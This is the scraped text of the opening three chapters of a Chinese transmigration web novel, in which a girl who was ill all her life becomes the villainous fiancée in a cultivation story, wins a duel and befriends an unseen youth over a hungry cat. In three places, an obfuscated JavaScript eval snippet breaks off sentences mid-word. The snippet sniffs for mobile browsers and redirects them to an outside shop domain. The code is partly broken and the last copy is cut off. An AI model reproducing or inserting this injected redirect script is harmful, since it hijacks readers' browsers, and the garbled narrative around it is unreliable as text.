《小师姐她有骑士病》 1. 第 1 章 阳光穿过层层茂密绿叶,照在干燥的地面上,投射在地上的影子像蝴蝶清透的翅翼,天空犹如水洗过一般泛着无生气的白色。 正是春天,但天气却有许些过分炎热,粘稠的热潮肆意横行着,习武场却围了一圈又一圈的人,叽叽喳喳的声音毫不收敛的传入纪锦书耳朵里。 “这位师姐为什么这样为难一个刚刚拜进宗门的外门弟子?” “你不知道吗?这是纪家的大小姐。从小天赋异禀、家世也好,就是有个娘胎里面带出来的未婚夫,大小姐平时最讨厌人家提起,而且她脾气向来不好,你以后见到她最好绕路走。” “多谢师兄告知,那这新弟子难道刚刚去师姐面前挑衅,提到她的未婚夫了吗?” 看着搭话的弟子懵懂的表情,一个老练些的弟子幽幽叹了口气,还是好脾气地解释道:“这人就是他的未婚夫。” 新弟子惊讶地张大了嘴,只听师兄问:“你先前是不是个散修?”,他点了点头。 “怪不得你不知道呢,这李行道和纪师姐一样出生宗门世家,出生时天生异象,才和纪锦书定下了婚约,谁知他八岁那年忽的根脉尽断,变成了一个废人!” 锦书低下头,一滴汗水“啪”地滴落在她纤细、并没有几分训练痕迹的双手上。 那白嫩的双手正死死地握着一把长剑,通体青色的剑身灵光流动,刻着繁琐又精致的花纹,泛着丝丝寒意,上面镶嵌着许多流光溢彩的宝石,不像是武器,反倒像是舞姬舞剑的工具。 长剑仿佛和她心意相通一般,在接触到主带着些茫然无措的眼神后,嗡嗡的振动了两下。 锦书从没见过这样漂亮的长剑。 “退婚可以,能否与我比试一场?” 锦书闻声抬头,面前的少年稚嫩青涩,却眼神坚韧,不服输地盯着自己,视线好像能看清楚她的灵魂一样凌厉。少年衣着简朴,身形瘦削,眉目沉稳,虽然其貌不扬,却意外地令人感到踏实质朴。 他背着一把古朴的玄铁剑,直挺挺地站在锦书对面,犹如一颗雪后劲松。 锦书没有立刻答话,她咬了咬下唇,整个人还沉浸在震惊与茫然中。 她上一秒还病怏怏地躺在医院的病床上,余晖洒下的光芒透过玻璃窗折射在惨白的被褥上,父母压抑崩溃的哭声从走廊上传来,她不过是烦躁又疲倦的合住了眼皮,等再睁眼时已经站在了陌生的演武场上,午后温暖舒适的气息代替了冷冰冰的消毒水味。 还没等她习惯这幅健康的身体和搞清楚自己的状况,大脑中潮水般涌来的记忆使得她整个人都有些不好了。 上辈子,纪锦书从出生就确诊了先天性心脏病,长年累月都虚弱无力地躺在病床上,在别人青春洋溢、活力四射的岁数,她却跟随父母四处奔波、寻医问诊,但再多的努力都是回天乏力,到头来还是获得的只有一封封轻飘飘的病危通知书。 脑海中的记忆渐渐鲜明起来,锦书不可置信的发现,她现在貌似变成了自己上辈子看过的一本小说里面的人物。 至于这是怎样的一本书,刚刚成为书中一员的锦书显然无法给出很好的评价。 毕竟如果让她知道自己以后还会有这番奇遇,她必定不会在某个无所事事、阳光明媚的下午打开这本《剑神纪》,或者,也要坚持把一看就是为了糊弄读者的后半本也看完。 《剑神纪》,熟读小说的朋友们都知道,从书名就能看出来,这么简洁狂妄的三个字显然不可能是什么卿卿我我的恋爱小说。此书的作者必然是得了某些下三流网络男频小说的真传,才能创作出这样一般“前有古人,后有来者”的极品龙傲天小说。如果一定让人用一句话来概括,那只能是“金手指开大、唯我独尊的日子到底有多爽”。 锦书此刻还有点懵,但在将脑海中的记忆和书中的剧情串起来后,很快就反应过来,面前这个不卑不亢、放言要向她挑战的少年显而易见正是本书的男主角——李行道。 一提到男频小说,那必然是打脸剧情不断、后宫开到不行。可此书的作者不知道受了什么刺激,偏偏让男主李行道百花丛中过,片叶不沾身。碰巧,纪锦书就是这百花里面最不识好歹、最白痴、最垫脚石、下线最潦草的一朵。 自己有钱有颜有才,未婚夫却是个废柴。你问这谁能受得了?现在的纪锦书不知道自己作何感想,但原身必然是咽不下这口气的。 她本来也是个不输龙傲天的极品修仙胚子,从小就自视甚高,拜入修仙界第一宗门后更是无法无天了,仗着自己天资卓越,愈发的懒,靠着吃老本维护天才少女的名头,不仅如此,更是在龙傲天的逆袭路上不断作妖,堪称本书第一炮灰! 此时,龙傲天拜入宗门不过堪堪半年,原身就发现了自己这个哪哪都不顺眼的未婚夫居然和自己在一个宗门当外门弟子。这谁能忍?反正这个暴躁少女忍不了,当机立断就下山退婚来了。 纪锦书简直要泪目了,她只想问天再借五分钟。 不为别的,如果她穿过来的时间早那么五分钟,她就有能力阻止接下来惨剧的发生。但偏偏就这么狗血,在锦书睁开眼,被阳光晃的身子歪了歪的时候,原身刚激情澎湃地羞辱了一番还是废柴的小白花龙傲天,掷地有声地说出了退婚二字。 如同千万废柴逆袭小说的套路,这是本书的第一个大快人心的打脸剧情。龙傲天惨遭羞辱退婚,坚强的他选择向无法无天的恶毒女配提出挑战,并出其不意的将女配打的落花流水,得到宗门长老的认可,成为关门弟子。 倘若纪锦书不是女配,她可能会笑嘻嘻的捧着瓜子在旁边看热闹,打脸剧情再老套都多的是人爱。 可主角变成了自己,锦书几乎要维持不住脸上的表情。 锦书现在进退两难,原身对上龙傲天还算尚有一战之力,可她上辈子是个连大幅度运动都困难的病秧子,即使穿过来有了修炼的记忆和原身的灵力,都不可能达到灵活使用的程度,在龙傲天面前能撑过几招就不错了。 可围观的人这么多,自己被打趴的凄惨模样一定会沦为笑柄的。 打不过我还躲不过了? 锦书稳了稳心神,试图做出一副符合人设的嚣张表情,她扬起眉毛,撇了撇嘴,粗着嗓子道:“我同你没什么好比的。” 生怕李行道死缠难打似的,锦书飞快转身,不习惯做这种表情的脸抽搐了几下,可她一心只想赶紧离开。 “至少先让我一个人静静搞清楚现在是什么情况吧。”锦书低声嘟囔了一句,太过紧张导致她有些同手同脚了起来,周遭仿若传来笑声,惹得她耳根灼热了几分。 “锦书,同他比试一下又何妨?”一道声音不容分说地从天际传来。 纪锦书如遭雷劈地抬起头。 只见两人御剑于天,一人提着酒壶,面色红润,有着一副长长的白胡须,有些不修边幅,活像一个电视剧里的土地公。他正笑嘻嘻地打量着李行道,带着不加掩饰的好奇。 另一人双手背在身后面目肃正,体态端庄,身材高大魁梧,正是刚才讲话的人,也是纪锦书那个平时醉心剑道、不问世事的师傅玄清真人。 玄清真人看到这个平日里活泼的小弟子,面上显露出几分笑意,将那张严肃的面孔衬得温和了不少。 平日里刁蛮任性的原身在自己师尊面前还是有所收敛,再加上玄清真人虽然看上去严格而不好亲近,实际上对除了剑以外的凡事都不怎么有在意,也就导致了他做人处事依旧天真地宛若孩童,自然也就对锦书这个弟子的性子没发现什么不妥。 纪锦书此刻真是赶鸭子上架,她有些不安地握紧了手里的剑,感知到主人的情绪,长剑向她的掌心传递起了灵力,似在安慰,又似在催促。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898114|192304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本来应该只是躲在一旁看两人比试的两个长老听到她的拒绝竟然直接出面,毫无征兆地打乱了她的计划。 锦书别无他法,瞧了瞧对面的少年,尽管心里欲哭无泪,表情却还要维持不变,只得微微向悬在空中的两人行礼,拖着嗓子,应了声:“是。” 围观的众人向外侧散开,只留得演武场中间站的两个少年。 少女穿着恰到好处、不过分艳丽的红色的纱制长裙,同色的细长发带在风中轻轻荡漾,打在单薄的脖颈上,她脸蛋白净,有一双很是跳脱妩媚的眼睛,又圆又亮,眼尾飞起,像猫咪般灵动俏皮,多亏了英气的眉毛与之中和。 她展露笑容时,与唇角平行的地方有一颗小小的痣会如花朵一般绽放,远看就像一颗酒窝一般要将世间所有的美好都容纳其中。 原身的这幅样貌倒是巧,同锦书先前长的一模一样,往那里一站就好像一颗红润而富有汁水的果实,惹得路过的人频频回头。 锦书试图从原身的记忆中回想起学过的功法,但没等她仔细琢磨,只听到一声令下,李行道面色如常,长剑出鞘,已经率先发起了进攻。 他身形敏捷,手中握着那把看似除了沉重别无优点的玄铁剑。但是纪锦书知道那把剑正是龙傲天的第一根金手指,内含剑灵,不过灵力内封,如深不见底的古井,看似寻常,实则威力无穷。 锦书心慌意乱,却故作镇静,面对来势汹汹的攻击,她只能不断闪身躲过,许久没有剧烈运动使得她动作略显笨拙,只退不攻也引得玄清真人皱起了眉头。 “纪师姐这是怎么了?这不是她的风格吧。” “我记得她平日里剑招咄咄逼人、寸步不让,难道是在让着对方?” 周遭的议论声并不小。锦书知道自己再不攻击,恐怕就会惹人怀疑了。 原身的这把剑,名唤绊玉,是鼎鼎有名的灵器,可根据主人的想法随意转换形态。可惜原身虽然得到了它,却一直没有得到认可,绊玉也就一直以剑示人。 在书中,原身正是因为常年不用武器,一时又因为小瞧了李行道而大意被他近身,发挥不出来应有的实力,才输了这场比试。 锦书在心里一个劲地求爷爷告奶奶,祈求这把剑能在关键时候起点作用。 在又一次狼狈地躲开了一道忽然劈来的剑气后,锦书退后两步,一咬牙,使出灵力,一脚蹬在地面上,身子轻盈地腾空而起,和李行道拉开了不少的距离。 顶着玄清真人已有些不满的眼神,锦书赶鸭子上架地举起剑,毫无章法地刺向李行道,众人只见剑身上的宝石就好像夜空中散落的星星在阳光的照射下折射出光芒,绊玉犹如一道闪电般直直地射向李行道。 双脚落在地面上,锦书猛烈地喘了几口气,振的发白的手掌因为用力正泛着酸痛,振的虎口发麻,额前的几缕头发被汗水浸透黏在了一起。 但这剑却并未射中李行道。毕竟她之前从未用过这种东西,即使天赋异禀,也不可能一发就中。 在沉重的玄铁剑面前,这长剑显得是那么微不足道,它软趴趴地歪了方向,“啪”的一声掉落在地,丝毫不给主人面子。 锦书此番废了好大的一番力,足足用了七番功力,眼见非但没有逼退他,反而还卖了破绽,尴尬地手脚都要不知往哪放了。 打肿脸充胖子的后果就是还未站稳,李行道却又从容不迫地提着剑朝她奔了过来。 显然,他并不知道面前这个身体已经换了一个人,李行道虽不明白纪锦书为何收力不发,却也没有掉以轻心。 锦书此刻心中涌出一股强烈的逃跑冲动,可脚却像扎在了地面上一样。 凌冽的剑气狠狠的劈了过来,穿透沉闷的空气,铮铮剑鸣令人悚然,带起的风如刀子一般呼呼作响地拍打在身上,她下意识的惊呼一声,紧闭双眼,深深地吸了一口气。 2. 第 2 章 意料之内的,除了拍打在脸上的风,锦书并没感到疼痛。 毕竟只是同门比试,龙傲天一定不会下死手的,就算下死手,站在天上的两人也不会不管的。 周遭一片惊呼声,锦书只感到心脏狂跳不已,仿佛马上就要从胸膛中跳了出来,在心里安慰了自己两句后,她才缓缓松了一口气睁开眼。 只见面上惊诧无比的少年和来势汹汹的玄铁剑距离自己不过一指有余,凶戾的剑意还未散去。 只不过阻止这把剑劈下来的不是李行道,又或者玄清真人。因为恐惧而被脱离甩出的绊玉悬于空中,散发出珠白色的光芒,稳固的架住了那把沉重的玄铁剑。 锦书像被什么指引了一般,不由自主地将手指按在了那如贝壳般光滑的剑柄上,一股源源不断的灵力由绊玉反哺涌入自身,锦书只觉得先前残存的无力与疲乏统统一扫而净,浑身充满了力量。 原身和绊玉早在许多年前就已定下了契约,却一直没有得到它的认可。可此时纪锦书分明感到和绊玉意念合一,有种茅塞顿开的感觉。 锦书有些不稳地后退了两步,绊玉乖巧的回到她手里,珠光色四射,在她的手心里微微震动着。 玄清真人明悟,脸上掠过过一丝肯定,一扫之前的不满,道:“锦书,你这是得到了你这灵器的认可,不必再藏拙了,还不好好与人比试一场?” 锦书脸色僵了僵,合着之前这位是觉得自己在藏拙啊。 围观的人群纷纷一副恍然大悟的样子,锦书有些心虚,干巴巴地应了声是,至少这样显得自己没那么丢人了。 此时,她体内灵力充沛,绊玉与她心灵相通,像一个和煦的老师傅一般指导着她应该如何抬手、如何挥舞长剑。 纪锦书抬起头,明亮的眼眸粲然生辉,嘴角微微勾起,有了绊玉的帮助,她多了几分跃跃欲试,不由得想试试自己能够发挥出怎样的实力。 她握住剑柄,剑身寒芒闪烁、熠熠生辉,不甚熟练地挽出一道剑花,锋利的长剑挟裹着汹涌的灵力直逼李行道。 李行道自然不会大意,满脸警惕,未有丝毫的松懈,抬起玄铁剑险险地挡住了进攻。 霎那间,只见得先前还落下风的少女反而借力轻盈一跃,飞身而上,手腕一翻,绊玉剑犹如一道流光一般更加精准地攻来。 李行道挥剑,两剑相击,竟是他身子微微一晃,踉跄了两步。 剑光纵横交错、疾风骤雨,看的众人皆是屏住呼吸。 两人打的有来有回,少女此刻已是反守为攻,手中长剑向身后转去,变化莫测,另一只手凝聚内力直直地向前拍出,一掌将李行道送出一丈远。 胜负已分,锦书心中有些许自满,脑袋涨的热乎乎的,又想表现的不过分得意,废了好大力气才控制住忍不住上扬的嘴角:“承让,险胜险胜。” 体验了一把人剑合一,锦书只感到前所未有的身心舒畅,忍不住欢喜地抚摸着绊玉晶莹的剑身,恨不得扑上去亲两口。 “我输了。但婚约也并非我本意,对你造成的困扰我很抱歉。”少年嘶哑的声音传来,即使输了,他也依旧沉稳:“既已如此,婚约就此作罢吧,待明日我写信报告家主,你我之间便再无干系。” 锦书有点呆滞,却见李行道已经又背起了那把玄铁剑,他面色平静依旧,没有任何的不服与怨气。 锦书莫名的有些心软,日后名扬天下的剑神如今的形象不过只是一个可怜的失意少年。毕竟在原书中,李行道作为被常年被原身坑害的对象,无论是在任何时候都没有主动对原身出过手,反而是原身自作自受。李行道对人永远谦卑自若,如果不是她的穿越打乱了一切,这次本应该是他摆脱废柴之名的翻身一战来着。 日落西山,天边明媚的晚霞映在半边演武场上,为少女飘扬的裙摆和纤细的脸颊打上了一层金光。 锦书忍不住开口安慰道:“你不必妄自菲薄,若不是我的灵器突然认主,我们可能就要打个平手了。” 又不由得补充了两句:“我也没有很讨厌你。” 李行道顶着少女有些纠结的面容,迟疑的点了点头,算是做出了回应:“谢谢。” 锦书显然没发现自己的话里充满了歧义。 人向来爱八卦,围观的观众已经开始窃窃私语:“纪师姐是不是喜欢这个李行道的啊?虽然嘴上说是退婚,其实只是想试试自己未婚夫实力怎么样吧。” “没错啊,不然按照师姐的脾气,应该会在赢了之后狠狠羞辱他一番才对啊。” “话说你们没发现吗?师姐不是一个月前就去闭关了吗?这些时日都没瞧见她,可是这李行道一上山,她就出现了,消息也太灵通了吧,肯定是一直在关注他啊。” 锦书简直是要惊掉了下巴,虽然她下意识地就想替自己辩驳两句,但眼看这揣测在众人的嘴里已经开始变得有头有尾,如果再反驳恐怕只会让事情越描越黑。 她的表情险些维持不住,好在她脑袋灵光一闪,马上模仿着原身,刁蛮道:“你们这群人再胡说八道,当心我要你们好看。” 几个还在闲聊的弟子迅速噤了声,显然是知道纪锦书平日里的厉害。 “少年,你骨骼奇异、天赋异禀,有没有兴趣拜入老夫门下啊!”说出这句经典台词的正是提着酒壶的男子——原著里李行道的师傅怀山真人,此人看戏一般的看完了全程,终于开始走剧情了。 纪锦书所在的宗门乃是天下第一宗,名为天玄宗。天玄宗不同于其他小说中的第一宗门都是剑修,这里百花齐放,宗门长老们各有所长,弟子们也是千奇百怪。宗门长老不多,不过七人,锦书的师傅排行第二,是个不折不扣的剑痴,而李行道的师傅怀山排行第四,功力不输其他人。 天玄宗掌门平时神出鬼没、不见人影,门下有个亲传大弟子,走奶妈路线,平时痴迷炼丹炼药,平日甚少出现。大师姐排在三长老门下,是个乐修,和大师兄一样戏份不多,书中提过她为人正直,很是照顾小弟子李行道。 锦书拜师早,混到个小师姐的名头,玄清真人门下还有个弟子常年闭关,在原著里压根没出现。李行道此番一战成名,倒被收入门下成了小师弟。 纪锦书想了一半的话被堵在嗓子眼,只能又咽了下去。 按照原著,原身被李行道打的落花流水,在比试结束后,为了尽到自己恶毒女配的职责,竟然毫不顾忌在场的两个长老和一群围观的同门,愤怒地出手,愚蠢地妄想偷袭李行道,被当场押下,关了半年禁闭。 不过她不是原身,既已赢了,自然不会找事,便趁着所有人注意力都在李行道身上时,悄无声息地退到人群后跑开了。 李行道的肩膀被怀山真人沉沉地拍了几下,他的目光还停留在与自己交手的对手身上,少女却没有注意到他的目光,只是身子轻盈地从人群中穿梭而过,脑后长长的发带在空中轻盈地飞舞着,勾勒出美丽的痕迹。 他无意识微微蹙眉,觉得此时的她与之前愤愤不满说要退婚的模样相比,不知为何好像总有哪里不同,但到底这也不过是他与她的第一次见面,没有什么可以比对的空间,李行道很快便收回了眼神。 锦书片刻都不带留恋地加快脚步,跑出了演武场。 沿着人迹鲜少的山路往上走,她总算能够松了口气,仔细思索起自己现在的处境。 穿书进了龙傲天小说,还成为了和自己长得一模一样还同名同姓的恶毒炮灰女配。 当真是天方夜谭一般的经历,可锦书心底却浮起几分窃喜。 上辈子当病秧子当了那么多年,落了个早死的结局,要说她没有羡慕过别的孩子能够正常地跑跑跳跳,那是不可能的。 她深呼了一口气,在原地蹦了两下,没有呼吸困难,没有砰砰狂跳的心脏,这一切是多么的轻松。 甚至由于这幅身体常年修仙的缘故,浑身都充满了力气,只要按照记忆运转体内经脉里的灵力,一股温热的难以言喻的舒适感便充盈了全身。 原身的记忆此时终于有时间了解了,锦书越回想脑海里涌进来的的记忆,眉头皱的也越紧。 这小姑娘从小就没吃过什么苦,正是因为家里人宠爱才养成了这么一副刁蛮的性子,自小但凡她看不顺眼的从不会压制自己,说话句句带刺,得罪了不少人。 但令锦书万分不解的是,将近一个月的记忆她居然一点都没有了。 也就是说,自从一个月多前的某一天,原身突发奇想决定去闭关,在进入后山专为弟子们准备的闭关之地后,到她在演武场睁开眼睛,这段记忆就像被涂改液涂抹了一样,没有片刻残留。 不过还好书里有提及到相关的只言片语,锦书一脚踹飞路边的一颗小石子,小石子打破了平静的水面,她意识发散地揪着自己耳边的碎发,用尽全部努力去回想书里是怎么写的。 “李行道刚通过弟子入门选拔考试,就遇到了一个令他皱眉的人。这人不知从何而来,挡在他的面前,脸上是嚣张又狂妄的一副神情,她仰着下巴,高高在上地看着他,目中无人地问道:‘你就是李行道?我叫纪锦书,你应该认识我吧。’ 来人正是他从小定下的未婚妻纪锦书,少女虽然生的美丽,但那副神情实在令人厌恶,李行道暗暗皱眉,婉拒道:‘我来此与你无关。’ 可这少女偏生不依不饶,一掌就劈向了李行道。” 锦书有些不明白,虽然原身确实是个跋扈的性子,但却不至于这么没脑子直接就在众多同门的眼前对龙傲天下手吧。 难道是配角的强行降智环节? 又或者是有人在背后挑拨? 可原身由于平日里太过惹人厌烦,只有几个狗腿子,并没有什么深交的朋友,这种猜测因为记忆确实也没办法得到验证。 锦书沿着一条小溪往山顶上走去,那里是玄清真人和两个徒弟的居所。几点疏星稀稀拉拉的遍布在空中,一弯明月模糊的映在清澈见底的水面上,皎洁柔和的月光显出几分宁静。 我占据了原身的身体,那原本的她去了哪里。 此刻闲了下来,这个问题便像鱼类口中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898115|192304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吐出的泡泡缓缓浮出水面,惹得她心中七上八下,有些难过地踢了踢脚旁的石子。 天色已经暗了,天玄宗作为天下第一宗门,财大气粗,整个宗门坐落在几座相邻的山峰上,山峰绵延高耸、风景秀丽,遍布着郁郁葱葱的花卉灵植,偶尔能听到通人性的灵兽们的叫声。 锦书凝视着自己纤细但仍旧有肉的手腕,只是想到这并不是自己的身体,一阵恶寒便由肺腑而生。 她刚刚所体会的因为身体健康所带来轻松愉悦都是建立在她无意识地“抢夺”了另一个女孩的身体才能拥有的,一种毛骨悚然、不知该怎么形容的恐惧油然而生。 之前那个“纪锦书”去哪里了? 在这恐惧与焦虑的煎熬中,锦书失魂落魄,居然迷了路。 等回过神时,她人已经站在了外门弟子们的居所附近,孤零零地踩在青石地板上。 此时天色已晚,外门弟子们都已就寝,只留下锦书捂着叫起来的肚子犯难。 反正既然已经来了,干脆找点饭吃好了。 诺大的食堂里只有窗外透进来的一丝月光勉强让人能看清屋内设施,锦书也不敢点灯,怕给其他人引过来了,害的自己担上个偷偷摸摸的名头。 她瞧见桌上还摆着几个蒸笼,寻思着或许还有馒头吃,便蹑手蹑脚地掀开了盖子。 里面果真还摆着几个圆圆的馒头,虽然已经冷了,但模样看着还是极好的,锦书捡起一个往嘴里塞。 一口下去倒是还有些别样的惊喜,锦书被措不及放的一口甜陷吃的瞪大了眼睛,红豆浓厚的气味充满了整个口腔。 虽然凉了让它风味已然失了大半,但锦书却吃的两眼弯弯。 凉了的豆沙馅小包子又是另一种滋味了,还好出来觅食了,不然险些就错过了这种美味。 三下两下地塞完一个包子后,锦书本想再摸一个尝尝会不会有些别的口味,却先听见了一声细细的猫叫。 锦书手停在半空中,整个人一动不动去听那叫声,果真不是幻听,虽然那猫叫声音尚小,但确实真真正正从另一侧传来的。 锦书心里捉摸着这猫既然在叫,莫不是饿了。 她打量了一下四周,瞧见锅灶上方还挂着几串腊肉干鱼,便收回了伸向馒头的魔爪,挑了块不大不小刚刚好的鱼干取了下来。 猫叫声断断续续,锦书又竖起耳朵听了一会才大致确定方位在锅灶对面的墙角。 不过那声响并不闷,不像是隔墙听到的,倒像是那小猫就在屋里一样。 锦书轻手轻脚地捏着鱼干往大致方向靠了过去,生怕吓跑这只还没看到影的猫咪。 待离得近了,她才瞧明白是怎么一回事,原来那墙下正有个不大不小的洞,厚厚的墙洞里蜷缩着一只小小的玳瑁色的猫咪,可怜巴巴地在那里叫唤着。 锦书小心翼翼地往那处靠近,猫咪听见脚步声把脸转了过来,看见靠近的人影,非但没怕,反而像是试图引起他人的怜惜一般,又楚楚可怜地叫了一声。 锦书心都要化了,连忙蹲下身,将小鱼干放在它面前,语气柔软道:“小咪,你是不是饿了呀?” 猫咪伸着头,嗅了嗅面前的小鱼干,拿爪子在地上磨了磨,并不肯下口。 锦书逗道:“怎么不吃呀?小咪,小咪?” 她声音小小的却又上扬,就好像一个翘起来的弯钩。 可惜面对这样的轻哄,小猫咪并不领情,依旧只是细细的叫着。 锦书又哄了几句,忽听一声轻笑从对面传来。 她吓了一跳,有些紧张地问道:“谁?” 那人语气中还带有一丝笑意,不答反问道:“你是谁?” 听声音,对面的那头估计是个和自己年纪差不多大的少年,声线清冽,犹如冬日的一汪冰凌凌的泉水。 锦书猜测应当是个深夜未睡的外门弟子,有些迟疑要不要开口,见她并不说话,那人先岔开话题说道:“这猫儿嘴刁,不吃肉。” 锦书讶然道:“还有不吃鱼的猫?” 少年并没有再说些别的来证实自己这番话的真实性,锦书瞧见一只骨节分明的手攥着一片厚厚的白菜叶从洞的另一侧递了过来。 那猫咪一改常态,亲昵地往那手上蹭了蹭,随即便不客气地吃起了白菜叶。 “瞧见没?”少年语气慵懒。 锦书好奇道:“你好像和它挺熟。” 少年慢悠悠道:“我喂了它娘好久,不过近些日子许久没来,不知道那只跑到哪去了,只留下个小的,倒是和它娘脾性一样的刁钻。” 他一本正经地说着埋怨的话,却听不出几分嫌弃。 锦书来了几分闲聊的兴致,又问道:“你怎么这么晚还没睡?专门跑过来喂猫?” “梦到有小猫好吃,特地来看看这梦是真还是假。” 锦书脸上一热,有些羞臊,一时竟然觉得这贪吃的猫说的像是自己,不由得辩解道:“饿了总不能不吃吧。” 少年漫不经心道:“说的倒也有些道理。” 3. 第 3 章 两人都不再说话,此时周遭静谧无声,只有猫咪啃食叶子发出碎碎的呜咽声。 锦书蹲的腿有些发麻,便站起身蹦了两下,又去另个墙角捡了几片剩下的青菜叶子,将手伸进洞口,捏着菜叶子往猫儿的嘴边递。 这次它总算乖顺地将头凑了过来,满意地用着还算新鲜的绿叶。 猫咪粗糙又粘稠的舌头划过手掌,舌腹细细麻麻地倒刺扎的锦书有些痒,不由得晃了晃手掌。 白玉般的手腕上挂着一串晶莹的手链,手链上装饰挂着的似是颗颗琉璃珠子又似是朵朵含苞待放的花苞,通体散发着恰到好处的光芒,像是采撷了满月与星辰的光辉一般清冷却有温润。 手腕晃动的轻微幅度带起手链上的装饰物们轻轻地碰撞了起来,发出风铃般清脆的声响。 “这串手链倒是很特别。”墙对面的少年夸赞道。 这串手链正是绊玉所化,这柄法器硬要说攻击性,其实并不算强,最奇妙的便是能随着主人的心意改变形状,变幻莫测。 “好看吧?”,锦书顶着亮闪闪的手链:“可惜并不是我的东西。” 这话说的云里雾里,倒教人听不懂其中的含义。 锦书不知道该怎么解释,这绊玉是原身的物件,如今她不知是何原因占用了这副身体,虽然不是自己强夺来的,但心里总是有些发虚、老是下意识的觉得自己抢了别人东西。 一看到这手串,心里的愧疚便更如浪潮一般席卷而来了。 她重重地叹了口气,又听少年语气古怪道:“你偷来的么?” 锦书才不想担上这么大的罪名,连忙否认道:“不是的,只是我嘴笨有些解释不清楚,但绝对不是我做了坏事才拿到的。” 墙那边过了一会才传出声音:“可它瞧着像是认主的灵器,看这光泽,周身又灵力四溢,灵器和主人相互反哺,显然是已经认你为主。” 锦书呆了呆:“真的吗?” 少年带着笑意:“你刚刚那话说的,恐怕它都要伤心了呢。” 话毕,锦书果真感到手腕上传来一阵发热,绊玉的光芒也变得闪耀多了,引得猫咪目不转睛地瞪着乌黑的眼球,抬起爪子往她手腕上挠去。 她连忙收回手腕,墙那头的人也一把摁住了猫咪的屁股,小猫儿无可奈何地喵了几声,又老实地卧回了原处。 “你半夜不睡觉是在为此事所烦恼吗?”少年声音中带着几分困倦:“虽然不知道你究竟是怎样得到它的,从你话中能听出,你并不是那种险恶之人。” 锦书点了点头,老老实实地承认道:“并非我使了阴招,实在是我自己也不清楚,为何自己会得到不属于自己的东西。” “那为什么要困扰呢?”锦书因为少年的话怔了怔,他加重了语气:“为什么要因为不是你的错而难受呢。” 锦书那颗因占用了他人一的切所浮着的心因为这简简单单的一句话居然安稳了大半,像失去航向的小船忽然若隐若现的看见了土地。 少年虽然不知道真正困扰她的究竟是什么,却还是认真道:“如果你真的很难受,那就想办法还回去好了。” 锦书刚要开口说自己不知道如何才能还回去,又听他仿若先知一般:“如果不知道怎么解决,那就多多补偿那个人好了,虽然我认为这不过是灵器自行择主,实在没什么好为此烦恼的。” 手腕上地手链亮晶晶的,像串起了散落的星辰一样,惹得锦书不由得扬起了嘴角,虽然面对的只是一面墙,却还是重重地点了点头,重的差点扭到脖子。 “你真是个好人。”她发自内心地感慨道:“你说话就像心理医生一样,听起来真舒服,我感觉自己现在都不焦虑了,能一觉睡到第二天中午!” 少年疑惑道:“心理医生是什么?” 锦书这才反应过来自己刚刚嘴快了,急急忙忙解释道:“意思就是我觉得你是我的知己,是一个很懂我的好朋友!你一说话就好像刮起了一阵风,把我的烦恼都吹散了,如果可以,希望以后可以和你多多讲话!” 对面沉默了片刻,语气奇怪道:“还是第一次有人这样形容我。” 锦书乐道:“那是他们都没有一双慧眼,不能发现你的好,我就不一样了!从小到大,只要见过我的人,都夸我眼睛生的漂亮,又亮又圆,一眼就能看出人是好还是坏!” 墙对面传来几声微不可查的轻笑:“可你也没看见我啊。” 锦书顶了顶腮帮子:“其实吧,我耳朵也特别好使!我一听到你的声音就知道你肯定是个好人!你声音这么好听就应该多说说话才对!” “可惜平日里没人陪我讲话。” 锦书皱了皱眉,难道这修仙宗门里也会有校园霸凌,她很安慰道:“怎么会呢?你是不是受欺负了?你告诉我,我去教训他们。” “那倒没有,只不过可能他们都不太喜欢我吧。” 锦书硬生生从这话中听出来几句委屈的意思,这还有什么好说的? 这分明就是被欺负了还不敢说出口的一个可怜小弟子,此刻和自己一样失眠来这里喂猫估计也是因为白日被人欺负了,夜里想起来心里委屈才睡不着的! 锦书心头窜起一股火气,没想到修仙界还会有这种事发生,看来她作为师姐,必须亲自出生整治一下这些不安分的师弟了。 她下定了决心要帮墙对面的可怜小师弟,但也不准备让他知道,不然按照他这么一个柔弱的性子,估计会把自己当救世主一样崇拜,她还没有做好给别人当偶像的准备。 想到这里,她语气轻柔了不少,带着明显的安抚意味:“你这么好,肯定全是他们的错,他们这样一定会遭报应的,出门就崴脚,喝水就呛着,吃饭就噎着。” 她掷地有声的话语让本来趴在地上的猫咪忽的立起了身子,使劲晃了晃脑袋。 锦书摸了摸鼻子:“对了,这只猫叫什么呀?” “还没有名字呢。” 锦书来了兴致:“是吗?那我来想一个吧,既然它这么爱吃菜,那就叫大白菜好了,这名字还很好记!” “是个好名字。” 可大白菜显然不这样想,它扯起嗓子更加响亮地叫了起来,像是打发自己的不满似得,甩了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 